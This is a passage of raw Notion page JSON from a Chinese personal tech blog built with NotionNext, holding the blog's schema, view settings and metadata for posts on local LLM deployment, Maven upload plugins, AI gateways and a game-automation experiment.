lock","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1733380207762,"last_edited_time":1733380207762,"parent_id":"153f5010-17f2-8145-a6a6-f9b118814e2f","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"153f5010-17f2-8179-aa20-f5ac2af25e96":{"value":{"id":"153f5010-17f2-8179-aa20-f5ac2af25e96","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["b"],["i"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207762,"last_edited_time":1733380207762,"parent_id":"153f5010-17f2-81a4-9e8c-fd69c83fd724","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"153f5010-17f2-81c1-85bf-e0775f43be89":{"value":{"id":"153f5010-17f2-81c1-85bf-e0775f43be89","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207762,"last_edited_time":1733380207762,"parent_id":"153f5010-17f2-81a4-9e8c-fd69c83fd724","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"153f5010-17f2-81c4-ba73-d464ec0a661c":{"value":{"id":"153f5010-17f2-81c4-ba73-d464ec0a661c","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1733380207762,"last_edited_time":1733380207762,"parent_id":"153f5010-17f2-815a-8f41-c62e5e861c52","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"next":{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM 